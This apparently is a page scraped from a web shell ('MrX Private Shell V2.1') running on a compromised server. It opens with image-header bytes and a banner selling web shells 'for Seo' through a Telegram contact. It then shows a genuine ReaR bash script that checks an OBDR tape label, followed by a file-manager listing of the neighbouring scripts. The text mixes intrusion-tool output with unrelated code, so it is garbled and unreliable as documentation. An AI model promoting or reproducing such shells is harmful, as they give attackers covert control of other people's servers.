����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Check the tape label and verify that this tape can be erased
LogPrint "Rewinding tape"
# Rewind tape drive to read out tape label
mt -f $TAPE_DEVICE rewind
StopIfError "Problem with rewinding tape in drive '$TAPE_DEVICE'"
# Turn compression off for reading tape label
mt -f $TAPE_DEVICE compression off >&2
if [[ $? -ne 0 ]] ; then
### Try datcompression (for SLES10,11)
mt -f ${TAPE_DEVICE} datcompression off >&2
fi
LogIfError "Could not disable compression on tape device '$TAPE_DEVICE'"
# Set correct blocksize for reading tape label
mt -f $TAPE_DEVICE setblk 512
StopIfError "Could not set block size on tape device '$TAPE_DEVICE'"
# Read exactly one block
TAPE_LABEL=$(dd if=$TAPE_DEVICE count=1)
StopIfError "Could not read label from tape device '$TAPE_DEVICE'"
# Match label
# FIXME: Probably this only works with the default USB_DEVICE_FILESYSTEM_LABEL='REAR-000'
# but not with another value of different length (cf. https://github.com/rear/rear/issues/1535)
# see prep/OBDR/default/700_write_OBDR_header.sh
[[ "$USB_DEVICE_FILESYSTEM_LABEL" == "${TAPE_LABEL:0:8}" ]]
StopIfError "Tape ($TAPE_DEVICE) does not have the proper '$USB_DEVICE_FILESYSTEM_LABEL' label. Use 'rear format $TAPE_DEVICE' to allow this tape to be used in OBDR mode."
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 040_change_tape_name.sh | File | 285 B | 0644 |
|
| 300_check_iso_dir.sh | File | 169 B | 0644 |
|
| 320_check_cdrom_size.sh | File | 562 B | 0644 |
|
| 400_check_tape_drive.sh | File | 811 B | 0644 |
|
| 500_check_tape_label.sh | File | 1.24 KB | 0644 |
|
| 700_write_OBDR_header.sh | File | 1.2 KB | 0644 |
|